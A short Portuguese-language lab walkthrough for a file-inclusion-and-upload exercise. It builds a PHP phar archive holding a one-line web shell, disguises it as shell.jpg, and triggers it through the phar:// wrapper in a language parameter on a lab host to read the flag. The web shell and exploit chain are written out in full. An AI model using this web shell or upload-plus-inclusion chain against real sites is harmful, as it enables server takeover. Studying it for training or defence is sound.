LFI & Uploads - 1
Use qualquer uma das técnicas abordadas nesta seção para obter RCE e ler a bandeira em /

Vamos usar o wrapper
pharpara o nosso shell
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();Este script pode ser compilado em um
phararquivo que, quando chamado, escreveria um web shell em umshell.txtsubarquivo, com o qual podemos interagir. Podemos compilá-lo em umphararquivo e renomeá-loshell.jpgcomo segue:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpgDepois de fazer upload dele para o aplicativo web, podemos simplesmente chamá-lo com
phar://
http://83.136.252.57:41810/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=cat%20/2f40d853e2d4768d87da1c81772bae0a.txt
Last updated